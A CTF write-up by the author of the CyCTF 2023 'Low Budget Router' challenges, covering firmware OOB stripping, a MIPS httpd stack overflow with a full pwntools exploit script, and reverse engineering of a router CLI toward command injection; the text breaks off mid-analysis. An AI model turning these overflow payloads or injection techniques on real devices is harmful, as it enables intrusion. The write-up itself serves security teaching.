Contents

CyCTF 2023 - Low Budget Router Trilogy Writeup

TL;DR;

This is series of challenges I wrote for CyCTF finals 2023. It is composed of three challenges:

  • Firmware dump: Remove OOB data after identifying that ECC is disabled to fix the firmware binary and extract the filesystem.
  • Management portal: Exploit a vanilla buffer overflow in the POSTLogin function resulting from the difference between the length being checked and the length being copied and overwrite the return address with the address of readFlag.
  • Management console: Reverse engineer hidden commands inside the shared objects containing the logic of the clid binary and find the appropriate sequence to trigger an argument injection inside one of the hidden commands which will lead to arbitrary command execution.

This writeup will show the step-by-step solution for these challenges.

Firmware Dump

Challenge Details

The description states that the firmware of the router was dumped using the tool SNANDer. For some reason the filesystem cannot be extracted and it is stated that a datasheet (the datasheet of the dumped chip) might help.

Downloading and extracting the challenge we get the firmware binary and the output of the SNANDer command used to extract the firmware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ SNANDer -d -г fw_dump.bin

SNANDer - Serial Nor/nAND/Eeprom programmeR v.1.7.8b2 by McMCC <mcmcc@mail.ru>

Found programmer device: WinChipHead (WCH) - CH341A
Device revision is 3.0.4
spi_nand_probe: mfr_id = 0xef, dev_id = 0xaa, dev_id_2 = 0x21
Get Status Register 1: 0x81
Get Status Register 2: 0×18
Disable Flash ECC.
Detected SPI NAND Flash: WINBOND W25N01G, Flash Size: 128MB, OOB Size: 64B
READ:
Read addr = 0x0000000000000000, len = 0x0000000008000000
Read 100% [138412032] of [138412032] bytes

Initial Takeaways

Reading the output of SNANDer along with its arguments, the following can be deducted:

  1. -d in the documentation of SNANDer indicates the following “disable internal ECC(use read and write page size + OOB size)”
  2. The programmer used to dump the firmware is the CH341A as shown in line 5.
  3. The flash ECC is disabled as shown in line 10 (relevant to 1)
  4. The NAND flash that the firmware was dumped from is the WINBOND W25N01G as shown in line 11.
  5. The flash size is 128MB which is 134217728 bytes.
  6. There’s something called OOB and its size is 64 bytes.
  7. The bytes dumped are 138412032 bytes which are 4194304 bytes bigger than the flash size.

Attempting to binwalk the provided firmware binary shows that it is corrupted as stated:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
wr3nchsr@ubuntu:~/low-budget-router$ binwalk fw_dump.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
223428        0x368C4         CRC32 polynomial table, little endian
308012        0x4B32C         Flattened device tree, size: 987 bytes, version: 17
406016        0x63200         uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
628932        0x998C4         CRC32 polynomial table, little endian
713516        0xAE32C         Flattened device tree, size: 987 bytes, version: 17
20680704      0x13B9000       uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
35278848      0x21A5000       JFFS2 filesystem, little endian
35680500      0x22070F4       JFFS2 filesystem, little endian
36227208      0x228C888       JFFS2 filesystem, little endian
36241980      0x229023C       JFFS2 filesystem, little endian
36244080      0x2290A70       JFFS2 filesystem, little endian
36652196      0x22F44A4       JFFS2 filesystem, little endian
36936992      0x2339D20       JFFS2 filesystem, little endian
37186412      0x2376B6C       JFFS2 filesystem, little endian
37290044      0x239003C       JFFS2 filesystem, little endian
37535112      0x23CBD88       JFFS2 filesystem, little endian
38210392      0x2470B58       JFFS2 filesystem, little endian
38506576      0x24B9050       JFFS2 filesystem, little endian
39291756      0x2578B6C       JFFS2 filesystem, little endian
39526288      0x25B1F90       JFFS2 filesystem, little endian
39650748      0x25D05BC       Zlib compressed data, compressed
39652676      0x25D0D44       JFFS2 filesystem, little endian
41967612      0x2805FFC       Zlib compressed data, compressed
41969664      0x2806800       JFFS2 filesystem, little endian
42644904      0x28AB5A8       JFFS2 filesystem, little endian
43828648      0x29CC5A8       JFFS2 filesystem, little endian
44017472      0x29FA740       JFFS2 filesystem, little endian
44231904      0x2A2ECE0       JFFS2 filesystem, little endian
44320828      0x2A4483C       JFFS2 filesystem, little endian
44461884      0x2A66F3C       Zlib compressed data, compressed
44463768      0x2A67698       JFFS2 filesystem, little endian
44793656      0x2AB7F38       JFFS2 filesystem, little endian
44905404      0x2AD33BC       Zlib compressed data, compressed
44907272      0x2AD3B08       JFFS2 filesystem, little endian
45123352      0x2B08718       JFFS2 filesystem, little endian
45186744      0x2B17EB8       JFFS2 filesystem, little endian
45782392      0x2BA9578       JFFS2 filesystem, little endian
45817808      0x2BB1FD0       JFFS2 filesystem, little endian
45832580      0x2BB5984       JFFS2 filesystem, little endian
45845244      0x2BB8AFC       JFFS2 filesystem, little endian
55283712      0x34B9000       uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
69881856      0x42A5000       JFFS2 filesystem, little endian
70283508      0x43070F4       JFFS2 filesystem, little endian
70830216      0x438C888       JFFS2 filesystem, little endian
70844988      0x439023C       JFFS2 filesystem, little endian
70847088      0x4390A70       JFFS2 filesystem, little endian
71255204      0x43F44A4       JFFS2 filesystem, little endian
71540000      0x4439D20       JFFS2 filesystem, little endian
71789420      0x4476B6C       JFFS2 filesystem, little endian
71893052      0x449003C       JFFS2 filesystem, little endian
72138120      0x44CBD88       JFFS2 filesystem, little endian
72813400      0x4570B58       JFFS2 filesystem, little endian
73109584      0x45B9050       JFFS2 filesystem, little endian
73894764      0x4678B6C       JFFS2 filesystem, little endian
74129296      0x46B1F90       JFFS2 filesystem, little endian
74253756      0x46D05BC       Zlib compressed data, compressed
74255684      0x46D0D44       JFFS2 filesystem, little endian
76570620      0x4905FFC       Zlib compressed data, compressed
76572672      0x4906800       JFFS2 filesystem, little endian
77247912      0x49AB5A8       JFFS2 filesystem, little endian
78431656      0x4ACC5A8       JFFS2 filesystem, little endian
78620480      0x4AFA740       JFFS2 filesystem, little endian
78834912      0x4B2ECE0       JFFS2 filesystem, little endian
78923836      0x4B4483C       JFFS2 filesystem, little endian
79064892      0x4B66F3C       Zlib compressed data, compressed
79066776      0x4B67698       JFFS2 filesystem, little endian
79396664      0x4BB7F38       JFFS2 filesystem, little endian
79508412      0x4BD33BC       Zlib compressed data, compressed
79510280      0x4BD3B08       JFFS2 filesystem, little endian
79726360      0x4C08718       JFFS2 filesystem, little endian
79789752      0x4C17EB8       JFFS2 filesystem, little endian
80385400      0x4CA9578       JFFS2 filesystem, little endian
80420816      0x4CB1FD0       JFFS2 filesystem, little endian
80435588      0x4CB5984       JFFS2 filesystem, little endian
80448252      0x4CB8AFC       JFFS2 filesystem, little endian

Reading the Datasheet

The datasheet can be easily found on alldatasheets.com.

After downloading the datasheet and referring to the Block Diagram in chapter 5:

It can be understood that the flash memory is divided into:

  • Main memory array.
    • 1024 block.
    • Each block is divided into 64 pages.
    • Each page consists of 2048 bytes.
  • Spare area.
    • For each page there are 64 bytes. (This is where the error correction code “ECC” is stored for each page also referred to as out of bound date “OOB”)

Using a quick oneliner we can check the first couple of OOB data:

All of them turned out to be 1s (FFh) but what does that mean? With some google searching you can stumble upon this question which states:

NAND flash works by first erasing all the cells in a single block (essentially setting it to ‘1’) and then selectively writing 0’s.

Also by referring to section 8.2.10 in the datasheet, we can confirm that the erased flash state is all 1s (FFh):

The 128KB Block Erase instruction sets all memory within a specified block (64-Pages, 128K-Bytes) to the erased state of all 1s (FFh)

Filesystem Extraction

Can this mean that the ECC is not utilized in the NAND chip? An interesting theory which can be easily verified using the following script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
data = open("fw_dump.bin", "rb").read()
out = open("fw_dump_without_oob.bin", "wb")

counter = 0
for i in range(0, len(data), 2112):
    if data[i+2048:i+2112] == b"\xff" * 64:
        counter += 1
        out.write(data[i:i+2048])
    else:
        print(f"Error correction needed in page {counter + 1}")
        exit(1)

print(f"Number of clean pages: {counter}")
out.close()

Running the script produces a file with size 134217728 bytes which is exactly 128MB.

Let’s try binwalk now:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
wr3nchsr@ubuntu:~/low-budget-router$ binwalk -e fw_dump_without_oob.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
216708        0x34E84         CRC32 polynomial table, little endian
298732        0x48EEC         Flattened device tree, size: 987 bytes, version: 17
393728        0x60200         uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
609924        0x94E84         CRC32 polynomial table, little endian
691948        0xA8EEC         Flattened device tree, size: 987 bytes, version: 17
20054016      0x1320000       uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
20054080      0x1320040       LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: -1 bytes
34209792      0x20A0000       JFFS2 filesystem, little endian
53608448      0x3320000       uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
53608512      0x3320040       LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: -1 bytes
67764224      0x40A0000       JFFS2 filesystem, little endian

The output shows that the firmware is now fixed and everything (bootloader, kernel and filesystem) can be extracted.

Flag

Back to the description the flag is in /etc/ of the filesystem.

The file read_me_fast_for_points.txt.gz contained the file low_budget_anti_strings.txt.gz which contained flag.txt.gz. After recursively extracting them, we get the flag cyctf{ecc_c4n_b3_tr0ubl3s0m3_f0r_f1rmw4r3_dump1ng}

Management Portal

Challenge Details

Deploying an instance and visiting the link, we’re presented with an admin panel with only one button for login:

Clicking the button, we visit the login page which prompts for username and password:

Using any set of default credentials only redirects to the login page with no errors.

Finding The Binary

We have the filesystem from the previous challenge so we don’t have to rely on blackbox testing. To find the binary of the http server, we start by looking for one of the unique strings we can see in the response of the server:

The server header appears to be custom and unique so lets grep for it:

Static Analysis

Firing up IDA Pro and loading the binary, we start with the main function:

1
2
3
4
5
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setLogin(0);
  serve_forever("10080");
}

The first function appearing which is setLogin appears to be a lame authentication setter which stores the state in /tmp/logged_in:

1
2
3
4
5
6
7
8
int __fastcall setLogin(char a1)
{
  FILE *stream; // [sp+18h] [+18h]

  stream = fopen("/tmp/logged_in", "wb");
  fputc(a1, stream);
  return fclose(stream);
}

The serve_forever function starts a listener using the function startServer and waits for connections. If a connection is received the process forks and calls the function respond:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn serve_forever(const char *a1)
{
  int v1; // [sp+20h] [+20h]
  int i; // [sp+24h] [+24h]
  struct sockaddr v3; // [sp+28h] [+28h] BYREF
  socklen_t v4[2]; // [sp+38h] [+38h] BYREF

  v1 = 0;
  fprintf(stderr, "HTTPD server started %shttp://0.0.0.0:%s%s\n", "\x1B[92m", a1, "\x1B[0m");
  for ( i = 0; i < 1000; ++i )
    clients[i] = -1;
  startServer(a1);
  signal(18, 1);
  while ( 1 )
  {
    v4[0] = 16;
    clients[v1] = accept(listenfd, &v3, v4);
    if ( clients[v1] >= 0 )
    {
      if ( !fork() )
      {
        respond(v1);
        exit(0);
      }
    }
    else
    {
      perror("accept() error");
    }
    while ( clients[v1] != -1 )
      v1 = (v1 + 1) % 1000;
  }
}

The respond function does the following:

  • Receives the request from the client.
  • Parse the request line and headers.
  • Stores a pointer to the post data in payload global variable.
  • Stored the value of the content-length header in payload_size global variable.
  • Calls the function route.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int *__fastcall respond(int a1)
{
  _BYTE *v1; // $v0
  int v2; // $v0
  int *result; // $v0
  void **v4; // [sp+18h] [+18h]
  char *v5; // [sp+1Ch] [+1Ch]
  char *s; // [sp+20h] [+20h]
  ssize_t v7; // [sp+24h] [+24h]
  char *v8; // [sp+28h] [+28h]
  char *nptr; // [sp+2Ch] [+2Ch]

  buf = malloc(0xFFFFu);
  v7 = recv(clients[a1], buf, 0xFFFFu, 0);
  if ( v7 >= 0 )
  {
    if ( v7 )
    {
      // parses request line and headers
      ...
    
      payload = (v5 + 3);
      nptr = request_header("Content-Length");
      if ( nptr )
        v2 = atol(nptr);
      else
        v2 = v7 - &v5[-buf];
      payload_size = v2;
      request_size = v7;
      clientfd = clients[a1];
      dup2(clientfd, 1);
      close(clientfd);
      route();
      fflush(stdout);
      free(buf);
      shutdown(1, 1);
      close(1);
    }
    else
    {
      fwrite("Client disconnected upexpectedly.\n", 1u, 0x22u, stderr);
    }
  }
  else
  {
    fwrite("recv() error\n", 1u, 0xDu, stderr);
  }
  shutdown(clientfd, 2);
  close(clientfd);
  result = &clients[a1];
  *result = -1;
  return result;
}

The route function handles the routing of the web application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int route()
{
  if ( !strcmp("/", uri) && !strcmp("GET", method) )
    return GETHomePage();
  if ( !strcmp("/login", uri) && !strcmp("GET", method) )
    return GETLogin();
  if ( !strcmp("/login", uri) && !strcmp("POST", method) )
    return POSTLogin();
  if ( !strcmp("/logout", uri) && !strcmp("GET", method) )
    return GETLogout();
  if ( !strcmp("/status", uri) && !strcmp("GET", method) )
    return GETStatus();
  if ( strcmp("/flag", uri) || strcmp("GET", method) )
    return serverError();
  return GETFlag();
}

The GETFlag function checks for authentication using the function getLogin then only renders /home/httpd/flag.html which is a rickroll:3

1
2
3
4
5
6
7
int GETFlag()
{
  if ( getLogin() )
    return renderHtml("/home/httpd/flag.html");
  else
    return redirect("/");
}

The binary has another function named readFlag which will read the actual flag but it is not referenced anywhere:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void __noreturn readFlag()
{
  if ( getLogin() )
    renderHtml("/home/httpd/flag.txt");
  else
    redirect("/login");
  fflush(stdout);
  free(buf);
  shutdown(1, 1);
  close(1);
  exit(0);
}

All functions called by the route function appears to just render an html page from /home/httpd which is practically useless in our case, except for the POSTLogin function which does the following:

  • Gets the length of the payload with strlen
  • Checks if it is greater than 80 (the size of the local buffer)
  • Checks if it is less than 42 (the length of the authentication string)
  • Copies payload_size bytes from the payload into v2 (the local buffer) with memcpy
  • Compares v1 bytes from v2 with "user=admin&pass=notcomplexjustnotguessable"
  • If equal setLogin(1) is called and redirected to /
  • If not equal setLogin(0) is called and redirected to /login
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int POSTLogin()
{
  size_t v1; // [sp+18h] [+18h]
  char v2[80]; // [sp+1Ch] [+1Ch] BYREF

  v1 = strlen(payload);
  if ( v1 >= 80 )
    return serverError();
  if ( v1 < 42 || (memcpy(v2, payload, payload_size), strncmp(v2, "user=admin&pass=notcomplexjustnotguessable", v1)) )
  {
    setLogin(0);
    return redirect("/login");
  }
  else
  {
    setLogin(1);
    return redirect("/");
  }
}

Vulnerability

The vulnerability lies in the logic of POSTLogin but what is it? First, there is an inconsistency when checking the length bounds and the actual copying. The checks are done using the value of strlen(payload) meanwhile memcpy uses payload_size (the value from the content-length header). But why is this a problem?

According to the description of strlen in its manpage, it calculates the string length up until and excluding the null -terminating- byte.

On the other hand, payload_size can be the length of the full content of the payload including bytes after the null byte or it can be an arbitrary value as the Content-Length header is user controlled.

This means that sending the below HTTP request to the server will result in the following:

  • strlen(payload) is 42.
  • payload_size is 50.
  • memcpy will copy all the 50 bytes.
  • strncmp will check only the first 42 bytes before the nullbyte.
1
2
3
4
POST /login HTTP1.1
Content-Length: 50

user=admin&pass=notcomplexjustnotguessable\x00AAAAAAA

This behavior causes memcpy to result in a vanilla stack bufferoverflow.

Exploit

To get the padding length before the return address on the stack, we can refer to the assembly to check the stack offsets of the $ra and the local buffer.

  • $ra is stored in 0x74($sp)

  • v2 is stored in 0x1c($sp)

So the stack looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
        ┌──────────────┐
  0x18  │      v1      │ -> Variable storing the result of strlen
        ├──────────────┤
  0x1c  │              │
        │              │
        │      v2      │ -> Variable that memcpy copies the payload to
        │              │
        │              │
        ├──────────────┤
  0x70  │     $fp      │ -> Old frame pointer
        ├──────────────┤
  0x74  │     $ra      │ -> Return address
        └──────────────┘

Let’s recap over some information before writing the exploit:

  • Padding before the return address is 88 bytes.
  • The binary has no PIE, the address of readFlag function is 0x40227C
  • Bear in mind that the architecture is big endian.
  • The POSTLogin function calls the redirect('/') function before returning (This can cause weird behaviour if we use requests for our exploit)
  • The readFlag function checks for authentication so we need the payload to successfully authenticate and overflow.

Now that we have everything lined up, this is our exploit code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys
import pwn

readflag = 0x40227c

def main(sni):
    io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")

    post_data = b"user=admin&pass=notcomplexjustnotguessable\x00"
    post_data += b"A" * (88 - len(post_data))
    post_data += pwn.p32(readflag, endian='big')

    payload = b"POST /login HTTP/1.1\r\n"
    payload += f"Content-Length: {len(post_data)}\r\n\r\n".encode()
    payload += post_data

    try:
        io.send(payload)
        out = io.recvuntil(b"}").replace(b"\r\n", b"\n").decode()
        flag = out.split("\n")[-1]
        print(flag)
    finally:
        io.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print(f"\t{sys.argv[0]} SNI")
        exit(0)
    main(sys.argv[1])

Flag

Running the exploit gives us the flag: cyctf{ch3ck1ng_buff3r_s1z3s_c4n_b3_tr1cky}

Management Console

Challenge Details

Deploying an instance and connecting to it, we’re prompted for login credentials. Trying the credentials obtained httpd failed:

Finding The Binary

To find the binary of this tcp server, we start can grep for one of the string just like we did in the previous challenge:

We get another lucky match at /bin/clid

Analysis

clid

Starting with the main function, there nothing of significant importance other than that it starts a new thread for each client with the function handleClient:

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
    // starts listener and recieves connection
    ...
          if ( pthread_create(&threadPool[AvailableThread], 0, handleClient, arg) < 0 )
    ...
}

The function handleClient starts by calling authenticate and based on its return value it can go to interactiveShell or terminate:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void *__fastcall handleClient(void *a1)
{
  ...
  
  fd = *a1;
  if ( authenticate(*a1) )
  {
    banner(fd);
    interactiveShell(fd);
    cleanup();
  }
  
  ...
}

The authenticate function prompts for the username and password then calls an external function named doAuthentication which apparently handles the authentication logic (we will get to this later). The function also have a counter v2 which checks for 3 invalid logins:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall authenticate(int a1)
{
  int v2; // [sp+1Ch] [+1Ch]
  char v3[32]; // [sp+24h] [+24h] BYREF
  char v4[32]; // [sp+44h] [+44h] BYREF

  v2 = 3;
  sendBytes(a1, "[ Login ]\n");
  do
  {
    if ( !v2 )
      return 0;
    sendBytes(a1, "Username: ");
    if ( !recvBytes(a1, v3, 30) )
      return 0;
    sendBytes(a1, "Password: ");
    if ( !recvBytes(a1, v4, 30) )
      return 0;
    --v2;
  }
  while ( !doAuthentication(a1, v3, v4, v2) );
  return 1;
}

The banner function only sends the banner of the router:

1
2
3
4
5
6
7
8
int __fastcall banner(int a1)
{
  return sendBytes(
           a1,
           "------------------------------------------\n"
           "[      Low Budget Router - CLI v1.0      ]\n"
           "------------------------------------------\n");
}

The interactiveShell function, prompts for a command from a list of predefined commands and calls its respective external function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
int __fastcall interactiveShell(int a1)
{
  char *v2; // [sp+18h] [+18h]
  int v3; // [sp+1Ch] [+1Ch]
  char *v4; // [sp+24h] [+24h]
  char v5[100]; // [sp+28h] [+28h] BYREF

  while ( 1 )
  {
    sendBytes(a1, "> ");
    v3 = recvBytes(a1, v5, 100);
    if ( !v3 || v3 < 0 )
      break;
    v4 = strchr(v5, ' ');
    if ( v4 )
    {
      *v4 = 0;
      v2 = v4 + 1;
    }
    else
    {
      v2 = 0;
    }
    if ( strcasecmp(v5, "help") )
    {
      if ( strcasecmp(v5, "getstatus") )
      {
        if ( strcasecmp(v5, "pwd") )
        {
          if ( strcasecmp(v5, "ls") )
          {
            if ( strcasecmp(v5, "cd") )
            {
              if ( strcasecmp(v5, "ping") )
              {
                if ( strcasecmp(v5, "readflag") )
                {
                  if ( strcmp(v5, "setdiag") )
                  {
                    if ( strcmp(v5, "head") )
                    {
                      if ( !strcasecmp(v5, "exit") || sendBytes(a1, "Unknown command!\n") < 0 )
                        return _stack_chk_guard;
                    }
                    else
                    {
                      head(a1, v2);
                    }
                  }
                  else
                  {
                    setDiag(a1, v2);
                  }
                }
                else
                {
                  readFlag(a1);
                }
              }
              else
              {
                ping(a1, v2);
              }
            }
            else
            {
              cd(a1, v2);
            }
          }
          else
          {
            ls(a1, v2);
          }
        }
        else
        {
          pwd(a1);
        }
      }
      else
      {
        getStatus(a1);
      }
    }
    else
    {
      help(a1);
    }
  }
  return _stack_chk_guard;
}

The cleanup function deletes a file called /tmp/ping_log:

1
2
3
4
int cleanup()
{
  return system("rm /tmp/ping_log");
}

The only function in interactiveShell that is not external is the help function which for some reason does not list all the available commands. The hidden commands are setDiag and head:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __fastcall help(int a1, int a2, int a3)
{
  return sendBytes(
           a1,
           "Low Budget CLI v1.0\n"
           "\n"
           "help - print the available commands.\n"
           "getstatus - get router status.\n"
           "pwd - print the current directory.\n"
           "ls - list the current directory.\n"
           "cd - change the current directory.\n"
           "ping - diagnose network with ping.\n"
           "readflag - read the flag of this challenge.\n"
           "exit - terminate connection.\n",
           a3);
}

That’s probably all the important functions in the binary, so lets find out where are these external functions imported from.

libcli_functions.so

Loading the shared object /lib/libcli_functions.so in IDA, we find all the functions seen in authenticate and interactiveShell functions. Let’s begin by doAuthentication to be able to authenticate with the server. The function checks the username and password against hardcoded credentials just like the previous challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall doAuthentication(int a1, const char *a2, const char *a3, int a4)
{
  char v6[100]; // [sp+20h] [+20h] BYREF

  if ( strcmp(a2, "admin") || strcmp(a3, "notguessablebutnotcomplex") )
  {
    if ( a4 )
    {
      snprintf(v6, 0x64u, "Failed to login, only %d trials left!\n", a4);
      sendBytes(a1, v6);
    }
    else
    {
      sendBytes(a1, "FAILED! Terminating session.\n");
    }
    return 0;
  }
  else
  {
    sendBytes(a1, "Authentication Successful.\n");
    return 1;
  }
}

Let’s authenticate and test out some functionalities:

Nothing of benefit came from this so lets check the underlying code for each function starting with the most simple ones. The getStatus just sends a string indicating the router is up:

1
2
3
4
int __fastcall getStatus(int a1)
{
  return sendBytes(a1, "Router status: UP.\n");
}

The readFlag function is also useless with a rickroll attempt:3

1
2
3
4
5
6
7
int __fastcall readFlag(int a1)
{
  return sendBytes(
           a1,
           "IMPOSTER! A real admin won't get the flag this way\n"
           "You only get this: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");
}

The pwd function only calls getcwd and sends its value:

1
2
3
4
5
6
7
8
9
void __fastcall pwd(int a1)
{
  char *ptr; // [sp+1Ch] [+1Ch]

  ptr = getcwd(0, 0xC8u);
  sendBytes(a1, ptr);
  sendNewline(a1);
  free(ptr);
}

The cd function takes an argument a2 and checks that the absolute path of it starts with /tmp/jail before running chdir:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall cd(int a1, const char *a2)
{
  char *v2; // [sp+18h] [+18h]
  char *ptr; // [sp+1Ch] [+1Ch]

  v2 = getcwd(0, 0);
  if ( a2 )
  {
    if ( checkAbsPathBase(a2, "/mnt/jail") )
    {
      if ( chdir(a2) )
      {
        perror("chdir");
        sendBytes(a1, "Failed to change directory.\n");
      }
      else
      {
        ptr = getcwd(0, 0);
        if ( ptr )
        {
          sendBytes(a1, "Changed directory to: ");
          sendBytes(a1, ptr);
          sendNewline(a1);
          free(ptr);
        }
        else
        {
          sendBytes(a1, "Directory change was successful, but unable to retrieve new directory path.\n");
        }
      }
      free(v2);
    }
    else
    {
      sendBytes(a1, "Don't try to escape the jail!\n");
    }
  }
  else
  {
    sendBytes(a1, "No directory provided!\n");
  }
}

The ls function can do one of two things:

  • Take no argument, check that the absolute path of the current working directory starts with /mnt/jail then runs ls system command with the external function execCmd.
  • Take one argument a2, check that the absolute path of that argument starts with /mnt/jail then runs ls system command with the external function execCmd.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall ls(int a1, char *a2)
{
  int v2; // $v0
  char *v3; // [sp+1Ch] [+1Ch]
  void *ptr; // [sp+24h] [+24h]

  if ( a2 && *a2 )
  {
    v3 = a2;
    v2 = checkAbsPathBase(a2, "/mnt/jail");
  }
  else
  {
    v3 = getcwd(0, 0xC8u);
    v2 = checkAbsPathBase(v3, "/mnt/jail");
  }
  if ( v2 )
  {
    ptr = execCmd("ls -la %s", v3);
    if ( ptr )
    {
      sendBytes(a1, ptr);
      sendNewline(a1);
      free(ptr);
    }
    else
    {
      sendBytes(a1, "An error occurred!\n");
    }
  }
  else
  {
    sendBytes(a1, "Don't try to escape the jail!\n");
  }
}

The ping function checks a global variable named diag:

  • If diag == 0, nothing is done and it sends “Function not implemented yet”
  • If diag != 0, the argument a2 is checked and then passed to the external function execCmd to execute ping and the output is also saved in /tmp/ping_log.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall ping(int a1, const char *a2)
{
  void *ptr; // [sp+1Ch] [+1Ch]

  if ( diag )
  {
    if ( a2 )
    {
      ptr = execCmd("ping -c3 %s | tee /tmp/ping_log", a2);
      if ( ptr )
      {
        sendBytes(a1, ptr);
        sendNewline(a1);
        free(ptr);
      }
      else
      {
        sendBytes(a1, "An error occurred!\n");
      }
    }
    else
    {
      sendBytes(a1, "No host provided!\n");
    }
  }
  else
  {
    sendBytes(a1, "Function is not implemented yet!\n");
  }
}
Hidden Functions

These were the functions visible in the help output but there are two more functionalities that are not displayed there. The first one is setDiag which takes an argument a2 and checks if it is 0 or 1 and sets its value to the diag global variable:

1
2
3
4
5
6
7
8
9
void __fastcall setDiag(int a1, const char *a2)
{
  int v2; // [sp+1Ch] [+1Ch]

  if ( a2 && ((v2 = atoi(a2)) == 0 || v2 == 1) )
    diag = v2;
  else
    sendBytes(a1, "Unknown command!\n");
}

The head function which takes an argument a2 consisting of two values splited by a comma. The two values are:

  • The number of lines to read.
  • The full path of the file to read. The command itself have some constraints for the file to meet:
  1. It looks for the file inside /tmp.
  2. The file has to be owned by user 1002.
  3. The type has to be a file (not a directory obviously).
  4. The full path of the file matches the argument of -path.

When find finds a file that meets this criteria it runs the command inside -exec

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall head(int a1, char *a2)
{
  char *v2; // [sp+1Ch] [+1Ch]
  char *v3; // [sp+20h] [+20h]
  void *ptr; // [sp+24h] [+24h]

